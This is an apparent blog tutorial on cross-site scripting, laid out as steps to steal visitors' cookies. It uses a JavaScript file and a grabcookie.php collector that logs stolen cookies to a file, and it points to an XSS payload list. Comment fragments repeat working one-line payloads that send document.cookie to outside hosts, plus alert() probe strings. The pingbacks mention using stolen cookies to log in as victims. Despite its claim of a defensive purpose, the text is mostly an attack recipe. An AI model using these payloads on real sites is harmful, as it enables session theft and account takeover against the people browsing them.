Note:
This is a tutorial showing you how this is done so you are aware of how it is done, so you can secure your site and make sure it does not happen to you!
About:
XSS is done by people putting codes into a website which runs on the webpage when a user does a specific event. Typically, people attempt to steal cookies in this manner, and this is all I’m going to show, but other things can be stolen, and some other codes could be ran through a javascript file.
How To:
- Create your javascript file, xss.js. An example is here it connects to your grabcookie.php file and includes the users cookie in the URL.
- You obviously need your grabcookie.php file. Your grabcookie.php file is what saves the cookie. You can view my code here which uses the GET function to retrieve to cookie from the URL. It then adds the cookie and other items together and formats them, and then adds them to a current log file, cookiejar.php.
- Now how are the cookies accessed? Simple. Connect to your webpage at “http://www.site.com/cookies/cookiejar.php”. Here is where all the cookies are saved to
- Now you just need to find a exploit in the site to request to their .js (javascript) file, which then runs its code. A list of some exploits can be found on this site, ” http://ha.ckers.org/xss.html”. Of course, there are many others too, but that would be a start for you. A great web page scanner for you to check out is Acunetix Web Vulnerability Scanner 4. It scans the webpage for many exploits and bugs. Scan your site and then secure the bugs to prevent any xss attacks on your site.
This has been a tutorial from Venom
Entries (RSS)
[...] him log into your account. BTW it’s patched now If your interested he wrote a tutorial before: Tutorial Ninjas » Blog Archive » Cross Site Scripting(XSS) Note: The two links above(tiny url and the tut.js) have http replaced with hxxp when you click on [...]
[...] main use of this is in combination with an XSS attack to login as the victim. This is a very simple thing to do just [...]
var i=new Image();
i.src = ” http://www.shamim.starhostbd.com/grabcookie.php?cookie=“+document.cookie
var i=new Image();
i.src = ” http://www.shamim.starhostbd.com/grabcookie.php?cookie=“+document.cookie
var i=new Image();
i.src = “http://www.shamim.starhostbd.com/grabcookie.php?cookie=”+document.cookie
var i=new Image();i.src = “http://myserver.com/myfolders/grabcookie.php?cookie=”+document.cookie;
alert(”t0pP8uZz”)
alert(”t0pP8uZz”);
alert(”t0pP8uZz”);
alert(”/t0pP8uZz”/)
var var = 1; alert(var)